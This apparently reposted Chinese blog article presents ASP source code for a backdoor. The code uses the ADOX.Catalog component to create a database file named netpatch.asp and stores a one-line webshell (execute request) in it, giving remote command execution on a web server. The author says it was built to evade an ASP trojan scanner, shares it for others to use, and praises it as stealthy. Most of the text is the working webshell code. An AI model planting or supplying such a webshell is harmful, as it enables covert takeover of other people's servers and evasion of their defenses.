新型ASP后门源代码分析

发布时间:2022-04-17 发布网站:脚本宝典
脚本宝典收集整理的这篇文章主要介绍了新型ASP后门源代码分析脚本宝典觉得挺不错的,现在分享给大家,也给大家做个参考。
本是为了逃LAKER2兄 查ASP木马程序的 
现在已经挑战成功,已经加为检查对象了。公布出代码给冰点的朋友使使,希望大家喜欢! 

利用的是ADOX.CataLOG组件 

复制代码 代码如下:
<%   
'code by netpatch  
dim dbfile,SQL   
db="netpatch.asp"  
dbfile=server.MapPath(db)   

set ydb=server.CreateObject("ADOX.Catalog")   
ydb.Create "PRovider=Microsoft.Jet.OLEDB.4.0;Data Source=" &amp; dbfile   
set ydb=nothing   
if err.number=0 then   
Response.WrITe dbfile & " 创建成功<br> "   
else   
Response.Write "创建失败,原因: " & err.description   
Response.End   
end if   

Set Conn = Server.CreateObject("ADODB.Connection")   
Conn.OPEn "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & dbfile   

sql="CREATE TABLE fdata([data] ;memo)"   
conn.execute(sql)   

Set rs = CreateObject("ADODB.Recordset")   
rs.Open "FData", conn, 1, 3   
rs.addnew   
rs("data")="<%execute request(“n”))%>" '(注释记得去掉!一句话后门 execute request(“n”))  
rs.update   

%>  
此脚本主要是利用ADOX.Catalog组件 
新建一个名称为netpatch.asp的空数据库文件 
然后把一句话木马插入新建的表中作为C/S版本的ASP马用! 

优点,比较隐蔽,不容易让人看出这是什么作用的!

脚本宝典总结

以上是脚本宝典为你收集整理的新型ASP后门源代码分析全部内容,希望文章能够帮你解决新型ASP后门源代码分析所遇到的问题。

如果觉得脚本宝典网站内容还不错,欢迎将脚本宝典推荐好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。
标签: